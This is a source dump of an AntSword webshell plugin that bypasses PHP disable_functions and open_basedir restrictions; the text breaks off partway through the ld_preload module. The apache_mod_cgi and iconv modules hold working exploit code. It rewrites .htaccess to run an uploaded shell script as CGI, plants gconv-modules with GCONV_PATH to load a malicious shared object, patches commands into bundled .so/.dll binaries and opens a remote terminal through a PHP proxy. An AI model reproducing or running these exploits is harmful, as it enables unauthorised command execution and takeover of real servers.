├── .gitignore ├── README.md ├── core ├── apache_mod_cgi │ └── index.js ├── base.js ├── iconv │ └── index.js ├── json_serializer_uaf │ └── index.js ├── ld_preload │ └── index.js ├── php74_ffi │ └── index.js ├── php7_backtrace_uaf │ └── index.js ├── php7_gc_uaf │ └── index.js ├── php7_reflectionproperty_uaf │ └── index.js ├── php7_userfilter │ └── index.js ├── php_concat_uaf │ └── index.js └── php_fpm │ └── index.js ├── ext ├── ant_x32.dll ├── ant_x32.so ├── ant_x64.dll ├── ant_x64.so ├── ant_x86.dll └── ant_x86.so ├── index.js ├── language ├── en.js ├── index.js └── zh.js ├── package.json └── payload.js /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_* -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AntSword Bypass disable_function 2 | 3 | 突破 `disable_functions` 执行系统命令,绕过 Open_basedir 等安全机制 4 | 5 | ## php.ini 样例: 6 | 7 | ``` 8 | disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,system 9 | 10 | open_basedir=.:/proc/:/tmp/ 11 | ``` 12 | 13 | ## 安装 14 | 15 | ### 商店安装 16 | 17 | 进入 AntSword 插件中心,选择「绕过disable_functions」,点击安装 18 | 19 | ### 手动安装 20 | 21 | 1.获取源代码 22 | 23 | ```bash 24 | $ git clone https://github.com/Medicean/as_bypass_php_disable_functions.git 25 | ``` 26 | 27 | 或者 28 | 29 | 点击 [这里](https://github.com/Medicean/as_bypass_php_disable_functions/archive/master.zip) 下载源代码,并解压。 30 | 31 | 2.拷贝源代码至插件目录 32 | 33 | 将插件目录拷贝至 `antSword/antData/plugins/` 目录下即安装成功 34 | 35 | ## 演示图 36 | 37 | ![bypass_disable_funcs_main.png](https://i.loli.net/2019/04/14/5cb2c1618ef1b.png) 38 | 39 | ## 如何使用 40 | 41 | [绕过open_basedir思路(蚁剑插件演示)](https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg) 42 | 43 | 44 | ## 测试环境 45 | 46 | 参见 [AntSword-Labs/bypass_disable_functions](https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/) 47 | 48 | ## 支持情况: 49 | 50 | 模式 | Bypass 方式 | Linux | Windows | 51 | :--|:--|:--|:--| 52 | `LD_PRELOAD`|启动新WebServer| Yes | No | 53 | `Fastcgi/PHP_FPM` | 启动新WebServer | Yes | Yes (不支持 IIS PIPE ) | 54 | `Apache_mod_cgi` | 重定向输出到文件 | Yes | No (TODO) | 55 | `JSON_Serializer_UAF` | stdout | Yes | No (TODO) | 56 | `PHP7_GC_UAF` | stdout | Yes | No (TODO) | 57 | `PHP7_Backtrace_UAF`| stdout | Yes | No (TODO) | 58 | `PHP74_FFI`| 重定向输出到文件| Yes | Yes | 59 | `iconv`|启动新WebServer| Yes | No (TODO) | 60 | `PHP7_ReflectionProperty_UAF`| stdout | Yes | No (TODO) | 61 | `PHP7_UserFilter` | stdout | Yes | Yes | 62 | `PHP_Concat_UAF` | stdout | Yes | No | 63 | 64 | 65 | - [x] LD_PRELOAD 66 | 67 | 利用 LD_PRELOAD 环境变量加载 so 文件, LD_PRELOAD 只在 Linux 系统上才有 68 | 69 | - [x] PHP-FPM/FCGI 70 | 71 | 适用于PHP-FPM/FCGI 监听在 unix socket 或者 tcp socket 上时使用。常见的比如: `nginx + fpm` 72 | 73 | IIS+FPM 使用的是「管道」通信,不适用 74 | 75 | - [x] COM (windown, php 5.3~5.6 已在antsword核心集成) 76 | - [x] Apache Mod CGI 77 | - [x] Json Serializer UAF ([PHP-Bug-#77843](https://bugs.php.net/bug.php?id=77843)) 78 | - [x] GC with Certain Destructors UAF ([PHP-Bug-#72530](https://bugs.php.net/bug.php?id=72530)) 79 | - [X] Backtrace UAF ([PHP-Bug-#76047](https://bugs.php.net/bug.php?id=76047)) 80 | - [x] PHP7 FFI 81 | - [x] iconv 82 | - [x] PHP7 ReflectionProperty UAF ([PHP-Bug-#79820](https://bugs.php.net/bug.php?id=79820)) 83 | - [x] PHP 7.0-8.0 user_filter ([PHP-Bug-#54350](https://bugs.php.net/bug.php?id=54350)) 84 | - [x] PHP7.3-8.1 concat_function UAF([PHP-Bug-81705](https://bugs.php.net/bug.php?id=81705)) 85 | 86 | ## 相关链接 87 | 88 | * [AntSword 文档](http://doc.u0u.us) 89 | * [dhtmlx 文档](http://docs.dhtmlx.com/) 90 | * [mm0r1/exploits](https://github.com/mm0r1/exploits/) -------------------------------------------------------------------------------- /core/apache_mod_cgi/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const nodeurl = require('url'); 7 | 8 | let APACHE_MOD_CGI_LANG = LANG['core']['apache_mod_cgi']; 9 | 10 | class APACHE_MOD_CGI extends Base { 11 | /** 12 | * 13 | * @param {dhtmlxObject} cell 组件 14 | * @param {Object} top 上层对象 15 | */ 16 | constructor(cell, top) { 17 | super(cell, top); 18 | if (this.precheck() == false) { 19 | return; 20 | } 21 | this.infodata = { 22 | modcgi: false, 23 | writable: false, 24 | htaccess: false, 25 | localaddr: "127.0.0.1:80", 26 | }; 27 | this.cell = cell; 28 | this.form = this.createForm(this.cell); 29 | } 30 | 31 | // 提前检测 32 | precheck() { 33 | let self = this; 34 | let infodata = self.top.infodata; 35 | if (infodata.os.toLowerCase() !== "linux") { 36 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 37 | return false; 38 | } 39 | return true; 40 | } 41 | 42 | createForm(cell) { 43 | let self = this; 44 | let form = cell.attachForm([{ 45 | type: 'settings', 46 | position: 'label-left', 47 | labelWidth: 100, 48 | inputWidth: 300, 49 | }, { 50 | type: 'block', 51 | inputWidth: 'auto', 52 | list: [{ 53 | type: 'label', 54 | label: APACHE_MOD_CGI_LANG['title'] 55 | }, { 56 | type: 'block', 57 | inputWidth: 'auto', 58 | list: [{ 59 | type: 'settings' 60 | }, 61 | { 62 | type: "label", 63 | label: `${APACHE_MOD_CGI_LANG['status_cell']['modcgi']}`, 64 | }, 65 | { 66 | type: "label", 67 | label: `${APACHE_MOD_CGI_LANG['status_cell']['writable']}`, 68 | }, 69 | { 70 | type: "label", 71 | label: `${APACHE_MOD_CGI_LANG['status_cell']['htaccess']}`, 72 | }, 73 | { 74 | type: "newcolumn" 75 | }, 76 | { 77 | type: "label", 78 | label: `${antSword.noxss(self.infodata['modcgi']?'YES':'NO')}`, 79 | }, { 80 | type: "label", 81 | label: `${antSword.noxss(self.infodata['writable']?'YES':'NO')}`, 82 | }, { 83 | type: "label", 84 | label: `${antSword.noxss(self.infodata['htaccess']?'YES':'NO')}`, 85 | }, 86 | ], 87 | }] 88 | }, 89 | { 90 | type: 'block', 91 | labelWidth: 100, 92 | inputWidth: 'auto', 93 | className: "display: flex;flex-direction: row;align-items: center;", 94 | list: [{ 95 | type: 'label', 96 | label: '', 97 | name: 'status_label' 98 | }, { 99 | type: 'newcolumn', 100 | offset: 20 101 | }, { 102 | type: 'label', 103 | label: '', 104 | name: 'status_msg' 105 | }, ] 106 | }, 107 | { 108 | type: 'block', 109 | inputWidth: 'auto', 110 | list: [{ 111 | type: 'template', 112 | label: "Reference", 113 | style: "width:100%;", 114 | format: references 115 | }, ] 116 | } 117 | ], true); 118 | return form; 119 | } 120 | 121 | // 执行EXP, 必须有这个函数 122 | exploit() { 123 | let self = this; 124 | self.core = self.top.core; 125 | let pre_code = { 126 | _: `if(empty($_SERVER['HTACCESS'])) { 127 | @file_put_contents('.htaccess', "\\nSetEnv HTACCESS on", FILE_APPEND); 128 | ${self.top.opt.url.includes("127.0.0.1")?"@phpinfo();":""} 129 | }`, 130 | }; 131 | let check_code = { 132 | _: `$rt = array("modcgi" => in_array('mod_cgi', @apache_get_modules()), 133 | "writable" => is_writable('.'), 134 | "htaccess" => !empty($_SERVER['HTACCESS']), 135 | ); 136 | echo json_encode($rt);` 137 | }; 138 | new Promise((res, rej) => { 139 | self.core 140 | .request(pre_code) 141 | .then((response) => { 142 | let re = /Hostname:Port\s+?<\/td>(.+?)\s+?<\/td><\/tr>/; 143 | if (self.top.opt.url.includes('127.0.0.1')) { 144 | if (re.test(response['text'])) { 145 | self.infodata['localaddr'] = RegExp.$1; 146 | } 147 | } 148 | self.core 149 | .request(check_code) 150 | .then((_ret) => { 151 | let _res = antSword.unxss(_ret['text']); 152 | self.infodata = Object.assign(self.infodata, JSON.parse(_res)); 153 | self.form = self.createForm(self.cell); 154 | res(self.infodata); 155 | }).catch((err) => { 156 | rej(err); 157 | }) 158 | }).catch((err) => { 159 | rej(err); 160 | }) 161 | }).then(info => { 162 | if (!(info.modcgi && info.htaccess && info.writable)) { 163 | rej('check failed'); 164 | } 165 | }) 166 | .then(() => { 167 | let expcode = { 168 | _: `@copy(".htaccess", ".htaccess.bak"); 169 | @file_put_contents('.htaccess', "Options +ExecCGI\\nAddHandler cgi-script .ant"); 170 | @file_put_contents('shell.ant', "#!/bin/sh\\n\\necho&ls"); 171 | @chmod("shell.ant", 0777);` 172 | }; 173 | self.core.request(expcode) 174 | .then(() => { 175 | new antSword.module.terminal(self.top.opt, { 176 | exec: (arg = { 177 | bin: '/bin/bash', 178 | cmd: '' 179 | }) => { 180 | let content = Buffer.from(`#!${arg['bin']}\necho&&${arg['cmd']}`).toString('base64'); 181 | let target = ""; 182 | if (self.top.opt.url.includes('127.0.0.1')) { 183 | target = `$url['scheme']."://${self.infodata['localaddr']}".$url['path'];`; 184 | } else { 185 | target = `$url['scheme']."://".$_SERVER['HTTP_HOST'].$url['path'];`; 186 | } 187 | return { 188 | _: `@file_put_contents('shell.ant', base64_decode("${content}")); 189 | $url=parse_url("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}"); 190 | $target=${target}; 191 | echo @file_get_contents($target);`, 192 | // header("Location: ${nodeurl.resolve(self.top.opt.url, 'shell.ant')}"); 193 | // echo @file_get_contents("${nodeurl.resolve(self.top.opt.url, 'shell.ant')}"); 194 | } 195 | } 196 | }); 197 | }) 198 | .catch(err => { 199 | throw err; 200 | }); 201 | }) 202 | .catch((err) => { 203 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 204 | }); 205 | } 206 | } 207 | 208 | function references(name, value) { 209 | let refs = { 210 | "AntSword-Labs/bypass_disable_functions/3": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/3", 211 | "Bypass PHP system functions disabled via mod_cgi (0cx.cc)": "http://0cx.cc/bypass_disabled_via_mod_cgi.jspx", 212 | "github.com/l3m0n/Bypass_Disable_functions_Shell": "https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/exp/apache_mod_cgi/exp.php", 213 | }; 214 | let ret = ""; 215 | Object.keys(refs).map((k) => { 216 | ret += `
  • ${k}
  • `; 217 | }) 218 | return ``; 219 | } 220 | 221 | module.exports = APACHE_MOD_CGI; -------------------------------------------------------------------------------- /core/base.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const fs = require('fs'); 4 | const { 5 | ProxyScript, 6 | ProxyScriptFsock 7 | } = require('../payload'); 8 | const LANG = require('../language'); // 插件语言库 9 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 10 | 11 | class Base { 12 | /** 13 | * 初始化 14 | * @param {Object} cell dhtmlx.cell对象 15 | * @param {Object} top 顶层对象 16 | * @return {Object} this 17 | */ 18 | constructor(cell, top) { 19 | var self = this; 20 | this.cell = cell; 21 | this.top = top; 22 | self.isOpenBasedir = (Object.keys(self.top.infodata.open_basedir).length > 0); 23 | let arch = self.top.infodata.arch; 24 | if(arch == 32) { 25 | arch = 86; 26 | } 27 | self.ext_name = `ant_x${arch}.${self.top.infodata.os.toLowerCase() === "linux" ? "so": "dll"}`; 28 | self.ext_path = path.join(__dirname, `../ext/ant_x${arch}.${self.top.infodata.os.toLowerCase() === "linux" ? "so": "dll"}`); 29 | } 30 | 31 | // 生成扩展 32 | generateExt(cmd) { 33 | let self = this; 34 | let fileBuff = fs.readFileSync(self.ext_path); 35 | let start = 0, 36 | end = 0; 37 | switch (self.ext_name) { 38 | case 'ant_x86.so': 39 | case 'ant_x32.so': 40 | start = 275; 41 | end = 504; 42 | break; 43 | case 'ant_x64.so': 44 | // 434-665 45 | start = 434; 46 | end = 665; 47 | break; 48 | case 'ant_x86.dll': 49 | case 'ant_x32.dll': 50 | start = 1544; 51 | end = 1683; 52 | break; 53 | case 'ant_x64.dll': 54 | start = 1552; 55 | end = 1691; 56 | break; 57 | default: 58 | break; 59 | } 60 | if (cmd.length > (end - start)) { 61 | return 62 | } 63 | fileBuff[end] = 0; 64 | fileBuff.write(" ", start); 65 | fileBuff.write(cmd, start); 66 | return fileBuff; 67 | } 68 | 69 | // 上传代理脚本 70 | uploadProxyScript(host = "127.0.0.1", port = 61111) { 71 | const PROXY_LANG = LANG['core']['base']['proxyscript']; 72 | let self = this; 73 | let proxycontent = ""; 74 | if (self.top.infodata.funcs.hasOwnProperty['curl_init'] && self.top.infodata.funcs['curl_init'] == 1) { 75 | proxycontent = ProxyScript(`http://${host}:${port}/${self.top.infodata.shell_name}`); 76 | } else { 77 | proxycontent = ProxyScriptFsock(host, port, `/${self.top.infodata.shell_name}`); 78 | } 79 | self.top.core.request( 80 | self.top.core.filemanager.create_file({ 81 | path: `${self.top.infodata.shell_dir}/.antproxy.php`, 82 | content: proxycontent, 83 | }) 84 | ).then((res) => { 85 | let ret = res['text']; 86 | if (ret === '1') { 87 | toastr.success(PROXY_LANG['success'](`${self.top.infodata.shell_dir}/.antproxy.php`), LANG_T['success']); 88 | } else { 89 | toastr.error(PROXY_LANG['fail'], LANG_T['error']); 90 | } 91 | }).catch((err) => { 92 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 93 | }); 94 | } 95 | 96 | /* 97 | 比较 x.y.z 版本号大小 98 | */ 99 | CompVersion(minVer, curVer) { 100 | // 如果版本相同 101 | if (curVer === minVer) { 102 | return true 103 | } 104 | let currVerArr = curVer.split("."); 105 | let minVerArr = minVer.split("."); 106 | let len = Math.max(currVerArr.length, minVerArr.length); 107 | for (let i = 0; i < len; i++) { 108 | let minVal = ~~minVerArr[i], 109 | curVal = ~~currVerArr[i]; 110 | if (minVal < curVal) { 111 | return true; 112 | } else if (minVal > curVal) { 113 | return false; 114 | } 115 | } 116 | return false; 117 | } 118 | } 119 | module.exports = Base; -------------------------------------------------------------------------------- /core/iconv/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | 7 | let ICONV_LANG = LANG['core']['iconv']; 8 | 9 | class ICONV extends Base { 10 | /** 11 | * 12 | * @param {dhtmlxObject} cell 组件 13 | * @param {Object} top 上层对象 14 | */ 15 | constructor(cell, top) { 16 | super(cell, top); 17 | if (this.precheck() == false) { 18 | return; 19 | } 20 | this.form = this.createForm(this.cell); 21 | } 22 | 23 | // 提前检测 24 | precheck() { 25 | let self = this; 26 | let infodata = self.top.infodata; 27 | if (infodata.os.toLowerCase() !== "linux") { 28 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 29 | return false; 30 | } 31 | return true; 32 | } 33 | 34 | createForm(cell) { 35 | let self = this; 36 | let form = cell.attachForm([{ 37 | type: 'settings', 38 | position: 'label-left', 39 | labelWidth: 100, 40 | inputWidth: 300, 41 | }, { 42 | type: 'block', 43 | inputWidth: 'auto', 44 | list: [{ 45 | type: 'label', 46 | label: ICONV_LANG['title'] 47 | }, 48 | { 49 | type: 'block', 50 | inputWidth: 'auto', 51 | list: [{ 52 | type: 'settings' 53 | }, 54 | { 55 | type: "label", 56 | label: `putenv`, 57 | }, 58 | { 59 | type: "label", 60 | label: `iconv (option)`, 61 | }, 62 | { 63 | type: "newcolumn" 64 | }, 65 | { 66 | type: "label", 67 | label: `${antSword.noxss(self.top.infodata.funcs['putenv']?'YES':'NO')}`, 68 | }, { 69 | type: "label", 70 | label: `${antSword.noxss(self.top.infodata.funcs['iconv']?'YES':'NO')}`, 71 | }, 72 | ], 73 | }, 74 | { 75 | type: 'combo', 76 | label: ICONV_LANG['form']['phpbinary'], 77 | labelWidth: 300, 78 | name: 'phpbinary', 79 | required: true, 80 | options: (() => { 81 | let vals = [ 82 | 'php', 83 | 'php.exe', 84 | '/usr/bin/php', 85 | 'C:/php/php.exe' 86 | ]; 87 | let ret = []; 88 | vals.map((_) => { 89 | ret.push({ 90 | text: _, 91 | value: _ 92 | }); 93 | }); 94 | return ret; 95 | })() 96 | }, 97 | { 98 | type: 'combo', 99 | label: ICONV_LANG['form']['webroot'], 100 | labelWidth: 300, 101 | name: 'webrootdir', 102 | required: true, 103 | options: (() => { 104 | let vals = [ 105 | self.top.infodata.phpself, 106 | self.top.infodata.shell_dir, 107 | self.top.infodata.temp_dir, 108 | ]; 109 | let ret = []; 110 | vals.map((_) => { 111 | ret.push({ 112 | text: _, 113 | value: _ 114 | }); 115 | }); 116 | return ret; 117 | })() 118 | } 119 | ] 120 | }, 121 | { 122 | type: 'block', 123 | labelWidth: 100, 124 | inputWidth: 'auto', 125 | className: "display: flex;flex-direction: row;align-items: center;", 126 | list: [{ 127 | type: 'label', 128 | label: '', 129 | name: 'status_label' 130 | }, { 131 | type: 'newcolumn', 132 | offset: 20 133 | }, { 134 | type: 'label', 135 | label: '', 136 | name: 'status_msg' 137 | }, ] 138 | }, 139 | { 140 | type: 'block', 141 | inputWidth: 'auto', 142 | list: [{ 143 | type: 'template', 144 | label: "Reference", 145 | style: "width:100%;", 146 | format: references 147 | }, ] 148 | } 149 | ], true); 150 | return form; 151 | } 152 | 153 | // 执行EXP, 必须有这个函数 154 | exploit() { 155 | let self = this; 156 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000 157 | if (self.form.validate()) { 158 | self.cell.progressOn(); 159 | let core = self.top.core; 160 | let formvals = self.form.getValues(); 161 | let phpbinary = formvals['phpbinary']; 162 | let webrootdir = formvals['webrootdir']; 163 | // 生成 ext 164 | let wdir = ""; 165 | if (self.isOpenBasedir) { 166 | for (var v in self.top.infodata.open_basedir) { 167 | if (self.top.infodata.open_basedir[v] == 1) { 168 | if (v == self.top.infodata.phpself) { 169 | wdir = v; 170 | } else { 171 | wdir = v; 172 | } 173 | break; 174 | } 175 | }; 176 | } else { 177 | wdir = self.top.infodata.temp_dir; 178 | } 179 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`; 180 | let fileBuffer = self.generateExt(cmd); 181 | if (!fileBuffer) { 182 | toastr.warning(ICONV_LANG['msg']['genext_err'], LANG_T["warning"]); 183 | self.cell.progressOff(); 184 | return 185 | } 186 | 187 | new Promise((res, rej) => { 188 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`; 189 | // 上传 ext 190 | core.request( 191 | core.filemanager.upload_file({ 192 | path: ext_path, 193 | content: fileBuffer 194 | }) 195 | ).then((response) => { 196 | var ret = response['text']; 197 | if (ret === '1') { 198 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']); 199 | res(ext_path); 200 | } else { 201 | rej("upload extension fail"); 202 | } 203 | }).catch((err) => { 204 | rej(err) 205 | }); 206 | }).then((p) => { 207 | // 触发 payload, 会超时 208 | var payloaddir = path.dirname(p); 209 | var gconvmodules_payload = `module PAYLOAD// INTERNAL ../../../../../../../../../../../../../../../../../../../../../../../../../..${p.substring(0,p.length-3)} 2 210 | module INTERNAL PAYLOAD// ../../../../../../../../../../../../../../../../../../../../../../../../../..${p.substring(0,p.length-3)} 2 211 | `; 212 | var gconvmodules = Buffer.from(gconvmodules_payload).toString('base64'); 213 | var payload = `file_put_contents("${payloaddir}/gconv-modules",base64_decode("${gconvmodules}")); 214 | putenv("GCONV_PATH=${payloaddir}"); 215 | if(function_exists('iconv')){ 216 | iconv("payload","UTF-8","whatever"); 217 | }else if(function_exists('iconv_strlen')){ 218 | iconv_strlen("1","payload"); 219 | }else if(function_exists('file_get_contents')){ 220 | @file_get_contents("php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ=="); 221 | }else{ 222 | @fopen('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==','r'); 223 | }; 224 | echo(1);`; 225 | core.request({ 226 | _: payload, 227 | }).then((response) => { 228 | 229 | }).catch((err) => { 230 | // 超时也是正常 231 | }) 232 | }).then(() => { 233 | // 验证是否成功开启 234 | var payload = `sleep(1); 235 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1); 236 | if(!$fp){ 237 | echo(0); 238 | }else{ 239 | echo(1); 240 | @fclose($fp); 241 | };` 242 | core.request({ 243 | _: payload, 244 | }).then((response) => { 245 | var ret = response['text']; 246 | if (ret === '1') { 247 | toastr.success(LANG['success'], LANG_T['success']); 248 | self.form.setItemLabel('status_label', `New WebServer Listen`); 249 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`); 250 | self.uploadProxyScript("127.0.0.1", port); 251 | self.cell.progressOff(); 252 | } else { 253 | self.cell.progressOff(); 254 | throw ("exploit fail"); 255 | } 256 | }).catch((err) => { 257 | self.cell.progressOff(); 258 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 259 | }); 260 | }).catch((err) => { 261 | self.cell.progressOff(); 262 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']); 263 | }); 264 | } else { 265 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]); 266 | } 267 | return; 268 | } 269 | } 270 | 271 | function references(name, value) { 272 | let refs = { 273 | "github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9/": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9/", 274 | "https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80": "https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80", 275 | }; 276 | let ret = ""; 277 | Object.keys(refs).map((k) => { 278 | ret += `
  • ${k}
  • `; 279 | }) 280 | return ``; 281 | } 282 | module.exports = ICONV; -------------------------------------------------------------------------------- /core/json_serializer_uaf/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | const nodeurl = require('url'); 7 | const { 8 | JSON_Serializer_UAF 9 | } = require('../../payload'); 10 | let JSON_SERIALIZER_UAF_LANG = LANG['core']['json_serializer_uaf']; 11 | 12 | class JSON_SERIALIZER_UAF extends Base { 13 | /** 14 | * 15 | * @param {dhtmlxObject} cell 组件 16 | * @param {Object} top 上层对象 17 | */ 18 | constructor(cell, top) { 19 | super(cell, top); 20 | if (this.precheck() == false) { 21 | return; 22 | } 23 | this.infodata = { 24 | ver: this.top.infodata.ver, 25 | }; 26 | this.cell = cell; 27 | this.form = this.createForm(this.cell); 28 | } 29 | 30 | // 提前检测 31 | precheck() { 32 | let self = this; 33 | let infodata = self.top.infodata; 34 | if (infodata.os.toLowerCase() !== "linux") { 35 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 36 | return false; 37 | } 38 | if (infodata.ver != "7.1" && infodata.ver != "7.2" && infodata.ver != "7.3") { 39 | toastr.error(JSON_SERIALIZER_UAF_LANG['err']['phpvererr'], LANG_T['error']); 40 | return false; 41 | } 42 | // TODO: 检查详细版本号 43 | return true; 44 | } 45 | 46 | createForm(cell) { 47 | let self = this; 48 | let form = cell.attachForm([{ 49 | type: 'settings', 50 | position: 'label-left', 51 | labelWidth: 100, 52 | inputWidth: 300, 53 | }, { 54 | type: 'block', 55 | inputWidth: 'auto', 56 | list: [{ 57 | type: 'label', 58 | labelWidth: 300, 59 | label: JSON_SERIALIZER_UAF_LANG['title'] 60 | }, { 61 | type: 'block', 62 | inputWidth: 'auto', 63 | list: [{ 64 | type: 'settings' 65 | }, 66 | { 67 | type: "label", 68 | label: `${JSON_SERIALIZER_UAF_LANG['status_cell']['ver']}`, 69 | }, 70 | { 71 | type: "newcolumn" 72 | }, 73 | { 74 | type: "label", 75 | labelWidth: 300, 76 | label: `7.1 - all versions to date`, 77 | }, 78 | { 79 | type: "label", 80 | labelWidth: 300, 81 | label: `7.2 < 7.2.19 (released: 30 May 2019)`, 82 | }, 83 | { 84 | type: "label", 85 | labelWidth: 300, 86 | label: `7.3 < 7.3.6 (released: 30 May 2019)`, 87 | }, 88 | ], 89 | }] 90 | }, 91 | { 92 | type: 'block', 93 | labelWidth: 100, 94 | inputWidth: 'auto', 95 | className: "display: flex;flex-direction: row;align-items: center;", 96 | list: [{ 97 | type: 'label', 98 | label: '', 99 | name: 'status_label' 100 | }, { 101 | type: 'newcolumn', 102 | offset: 20 103 | }, { 104 | type: 'label', 105 | label: '', 106 | name: 'status_msg' 107 | }, ] 108 | }, 109 | { 110 | type: 'block', 111 | inputWidth: 'auto', 112 | list: [{ 113 | type: 'template', 114 | label: "Reference", 115 | style: "width:100%;", 116 | format: references 117 | }, ] 118 | } 119 | ], true); 120 | return form; 121 | } 122 | 123 | // 执行EXP, 必须有这个函数 124 | exploit() { 125 | let self = this; 126 | self.core = self.top.core; 127 | let binary = '/bin/sh' 128 | if(self.top.infodata.os.toLowerCase().startsWith('win')) { 129 | binary = 'cmd' 130 | } 131 | new antSword.module.terminal(self.top.opt, { 132 | exec: (arg = { 133 | bin: binary, 134 | cmd: '' 135 | }) => { 136 | return { 137 | _: JSON_Serializer_UAF(arg['bin'], arg['cmd']), 138 | } 139 | } 140 | }); 141 | } 142 | } 143 | 144 | function references(name, value) { 145 | let refs = { 146 | "AntSword-Labs/bypass_disable_functions/6": "https://github.com/AntSwordProject/AntSword-Labs/blob/master/bypass_disable_functions/6", 147 | "php-json-bypass": "https://github.com/mm0r1/exploits/tree/master/php-json-bypass", 148 | "Bug #77843 Use after free with json serializer": "https://bugs.php.net/bug.php?id=77843", 149 | }; 150 | let ret = ""; 151 | Object.keys(refs).map((k) => { 152 | ret += `
  • ${k}
  • `; 153 | }) 154 | return ``; 155 | } 156 | 157 | module.exports = JSON_SERIALIZER_UAF; -------------------------------------------------------------------------------- /core/ld_preload/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const Base = require('../base'); 4 | const LANG = require('../../language'); // 插件语言库 5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示 6 | 7 | let LD_PRELOAD_LANG = LANG['core']['ld_preload']; 8 | 9 | class LD_PRELOAD extends Base { 10 | /** 11 | * 12 | * @param {dhtmlxObject} cell 组件 13 | * @param {Object} top 上层对象 14 | */ 15 | constructor(cell, top) { 16 | super(cell, top); 17 | if (this.precheck() == false) { 18 | return; 19 | } 20 | this.form = this.createForm(this.cell); 21 | } 22 | 23 | // 提前检测 24 | precheck() { 25 | let self = this; 26 | let infodata = self.top.infodata; 27 | if (infodata.os.toLowerCase() !== "linux") { 28 | toastr.error(LANG['precheck']['only_linux'], LANG_T['error']); 29 | return false; 30 | } 31 | return true; 32 | } 33 | 34 | createForm(cell) { 35 | let self = this; 36 | let form = cell.attachForm([{ 37 | type: 'settings', 38 | position: 'label-left', 39 | labelWidth: 100, 40 | inputWidth: 300, 41 | }, { 42 | type: 'block', 43 | inputWidth: 'auto', 44 | list: [{ 45 | type: 'label', 46 | label: LD_PRELOAD_LANG['title'] 47 | }, 48 | { 49 | type: 'block', 50 | inputWidth: 'auto', 51 | list: [{ 52 | type: 'settings' 53 | }, 54 | { 55 | type: "label", 56 | label: `putenv`, 57 | }, 58 | { 59 | type: "label", 60 | label: `error_log`, 61 | }, 62 | { 63 | type: "newcolumn" 64 | }, 65 | { 66 | type: "label", 67 | label: `${antSword.noxss(self.top.infodata.funcs['putenv']?'YES':'NO')}`, 68 | }, { 69 | type: "label", 70 | label: `${antSword.noxss(self.top.infodata.funcs['error_log']?'YES':'NO')}`, 71 | }, 72 | ], 73 | }, 74 | { 75 | type: 'combo', 76 | label: LD_PRELOAD_LANG['form']['phpbinary'], 77 | labelWidth: 300, 78 | name: 'phpbinary', 79 | required: true, 80 | options: (() => { 81 | let vals = [ 82 | 'php', 83 | 'php.exe', 84 | '/usr/bin/php', 85 | 'C:/php/php.exe' 86 | ]; 87 | let ret = []; 88 | vals.map((_) => { 89 | ret.push({ 90 | text: _, 91 | value: _ 92 | }); 93 | }); 94 | return ret; 95 | })() 96 | }, 97 | { 98 | type: 'combo', 99 | label: LD_PRELOAD_LANG['form']['webroot'], 100 | labelWidth: 300, 101 | name: 'webrootdir', 102 | required: true, 103 | options: (() => { 104 | let vals = [ 105 | self.top.infodata.phpself, 106 | self.top.infodata.shell_dir, 107 | self.top.infodata.temp_dir, 108 | ]; 109 | let ret = []; 110 | vals.map((_) => { 111 | ret.push({ 112 | text: _, 113 | value: _ 114 | }); 115 | }); 116 | return ret; 117 | })() 118 | } 119 | ] 120 | }, 121 | { 122 | type: 'block', 123 | labelWidth: 100, 124 | inputWidth: 'auto', 125 | className: "display: 